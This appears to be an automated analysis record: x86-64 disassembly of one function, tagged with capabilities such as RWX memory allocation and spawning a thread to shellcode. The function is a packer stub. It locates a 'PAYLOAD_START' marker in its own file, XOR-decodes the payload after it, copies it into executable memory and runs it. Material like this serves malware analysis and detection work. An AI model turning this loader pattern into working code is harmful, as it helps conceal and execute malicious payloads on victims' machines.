Function at 0x140001290
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x280
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r8d, 0x104
lea rdx, [rsp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x50]
call fcn.1400022c0
nop
cmp qword [rsp + 0xe0], 0
jne 0x14000131d
lea rdx, str.Error:_Could_not_open_Packed.exe._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002810
jmp 0x14000155a
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rdi, qword [rax + 8]
add rdi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov rcx, rdi
call fcn.140002d54
mov rbx, rax
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x60]
call fcn.1400026e0
test rax, rax
jne 0x14000138e
mov rcx, qword [rsp + 0x50]
movsxd rdx, dword [rcx + 4]
lea rcx, [rsp + 0x50]
add rcx, rdx
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbx + rdi]
mov rax, rbx
cmp rdi, 0xd
jl 0x14000153f
lea rcx, [rdx - 0xd]
movabs r10, 0x5f44414f4c594150
mov r9d, 0x54
mov r8d, 0x52415453
cmp r10, qword [rbx]
jne 0x1400013d0
cmp r8d, dword [rbx + 8]
jne 0x1400013d0
cmp r9b, byte [rbx + 0xc]
je 0x1400013ed
nop word [rax + rax]
cmp rax, rcx
je 0x14000153f
inc rax
cmp r10, qword [rax]
jne 0x1400013d0
cmp r8d, dword [rax + 8]
jne 0x1400013d0
cmp r9b, byte [rax + 0xc]
jne 0x1400013d0
cmp rax, rdx
je 0x14000153f
lea r14, [rax + 0xd]
mov rax, rbx
sub rax, r14
movdqa xmm2, xmmword [str.XXXXXXXXXXXXXXXX_]
xor esi, esi
mov edx, esi
add rdi, rax
je 0x14000148d
cmp rdi, 0x40
jb 0x14000146e
mov rcx, rdi
and rcx, 0xffffffffffffffc0
lea rax, [r14 + 0x20]
movdqu xmm0, xmmword [rax - 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
movdqu xmm0, xmmword [rax - 0x10]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x10], xmm0
movdqu xmm1, xmmword [rax]
xorps xmm1, xmm2
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
add rdx, 0x40
lea rax, [rax + 0x40]
cmp rdx, rcx
jb 0x140001422
cmp rdx, rdi
jae 0x14000148d
lea rax, [rdx + r14]
mov rcx, rdi
sub rcx, rdx
nop dword [rax + rax]
xor byte [rax], 0x58
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001480
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x1400014b8
lea rdx, str.Error:_Could_not_allocate_memory._n
jmp 0x140001546
mov r8, rdi
mov rdx, r14
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8, rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x14000150d
lea rdx, str.Error:_Could_not_create_thread._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002810
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140001552
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call fcn.140002d10
jmp 0x14000155f
lea rdx, str.Error:_Marker_not_found._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002810
mov rcx, rbx
call fcn.140002d10
mov esi, 1
lea rcx, [rsp + 0x50]
call fcn.1400015a0
mov eax, esi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140002cf0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret